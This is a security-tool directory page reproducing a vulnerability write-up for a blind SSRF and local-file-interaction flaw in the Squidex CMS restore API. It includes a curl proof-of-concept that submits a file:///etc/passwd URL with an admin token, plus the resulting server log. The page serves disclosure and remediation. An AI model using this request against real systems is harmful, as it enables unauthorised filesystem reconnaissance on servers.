Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-41177-Squidex-CMS — CVE-2026-41177, a Blind SSRF vulnerability in Squidex CMS (prior to v7.23.0). Includes root cause analysis, reproduction steps, and impact assessment regarding Local File Interaction (LFI). | Kitploit
Tools/GitHubGitHub/turkios/cve-2026-41177-squidex-cms
Vulnerability AnalysisExploitationWeb SecurityLearning & Education
GitHubturkios/cve-2026-41177-squidex-cms

CVE-2026-41177-Squidex-CMS

CVE-2026-41177, a Blind SSRF vulnerability in Squidex CMS (prior to v7.23.0). Includes root cause analysis, reproduction steps, and impact assessment regarding Local File Interaction (LFI).

View Repository
14 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-41177: Squidex CMS Blind SSRF

Technical research and analysis for CVE-2026-41177: A Blind Server-Side Request Forgery (SSRF) vulnerability in the Squidex CMS Restore API.

Vulnerability Overview

  • CVE ID: CVE-2026-41177
  • Affected Component: Squidex API: Backup / Restore Engine (/api/apps/restore)
  • Affected Versions: < 7.23.0
  • Vulnerability Type: Blind SSRF (CWE-918), Local File Interaction (CWE-73)

Summary

The Squidex Restore API is vulnerable to Blind Server-Side Request Forgery (SSRF). The application fails to validate the URI scheme of the user-supplied Url parameter, allowing the use of the file:// protocol. This allows an authenticated administrator to force the backend server to interact with the local filesystem, leading to Local File Interaction (LFI) and potential disclosure of sensitive system information through side-channel analysis of internal logs.

Details

  1. Configuration: An attacker creates a "Restore" job using a local filesystem URI (e.g., ).
file:///etc/passwd
  • Trigger: The attacker submits the POST request to the restore endpoint.
  • Execution: The backend accepts the request and passes the URL to a background worker (RestoreJob).
  • Observation: While the API response is a generic 204 No Content, the internal server logs reveal that the server successfully opened and read the file before failing because the content was not a valid ZIP archive.

    • Proof of Concept (PoC)

    1. Malicious Request

    Run the following curl command (replace <TOKEN> with a valid admin token):

    root@kitploit:~
    curl -X POST http://localhost/api/apps/restore/ \
  -H 'Authorization: Bearer <TOKEN>' \
  -H 'Content-Type: application/json' \
  -d '{
    "Url": "file:///etc/passwd",
    "Name": "exploit-poc"
  }' -v

    2. Validation via Logs

    The following error in the Squidex container logs confirms the internal file interaction:

    root@kitploit:~
    {
  "logLevel": "Error",
  "message": "Backup with job id 381bcfcb-3701-44d0-a8c8-ea43b3ec6271 from URL 'file:///etc/passwd' failed.",
  "exception": {
    "type": "System.IO.InvalidDataException",
    "message": "End of Central Directory record could not be found.",
    "stackTrace": "at System.IO.Compression.ZipArchive.ReadEndOfCentralDirectory()\n at System.IO.Compression.ZipArchive..ctor(Stream stream...)\n at Squidex.Domain.Apps.Entities.Backup.BackupReader..ctor(...) in BackupReader.cs:line 42\n at Squidex.Domain.Apps.Entities.Backup.TempFolderBackupArchiveLocation.OpenReaderAsync(...) in TempFolderBackupArchiveLocation.cs:line 57"
  }
}

    Note: The InvalidDataException confirms that the server successfully accessed and read the bytes of the file.

    Impact

    This vulnerability allows authenticated attackers to:

    • Filesystem Reconnaissance: Confirm the presence of sensitive files (e.g., appsettings.json, secrets).
    • Information Disclosure: In multi-tenant environments, this could potentially be used to access other users' backup files.

    Remediation

    • Update: Upgrade to Squidex version 7.23.0 or later.
    • Protocol Whitelisting: Strictly allow only http:// and https:// schemes.
    • Input Validation: Implement a check to reject any URI using the file:// scheme before processing.
    • Safe IO Handling: Ensure that the underlying handlers are restricted from local filesystem resolution for user-provided inputs.

    References

    • GitHub Security Advisory (GHSA-45fq-w37p-qfw5)
    • Official CVE Record
    Download Tool